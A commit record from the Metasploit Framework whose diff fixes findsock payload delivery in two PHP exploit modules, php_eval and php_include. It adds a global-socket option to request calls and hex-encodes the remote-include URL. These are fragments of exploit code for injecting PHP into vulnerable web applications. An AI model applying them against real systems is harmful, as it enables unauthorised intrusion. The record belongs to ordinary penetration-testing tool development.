make php findsock work again for php_eval and php_include

git-svn-id: file:///home/svn/framework3/trunk@6678 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/php_eval.rb

@@ -65,6 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
 		response = send_request_raw({ 
+				'global' => true,
 				'uri' => uri,
 				'headers' => { 
 						headername => payload.encoded,

modules/exploits/unix/webapp/php_include.rb

@@ -58,9 +58,13 @@ class Metasploit3 < Msf::Exploit::Remote
 		# very short timeout because the request may never return if we're
 		# sending a socket payload
 		timeout = 0.01
-		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url))
+		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
 		print_status("Trying uri #{uri}")
-		response = send_request_raw({ 'uri' => uri },timeout)
+		# The option {'global' => true} is required to make findsock payloads work
+		response = send_request_raw( { 
+				'global' => true, 
+				'uri' => uri,
+			},timeout)
 
 		handler
 	end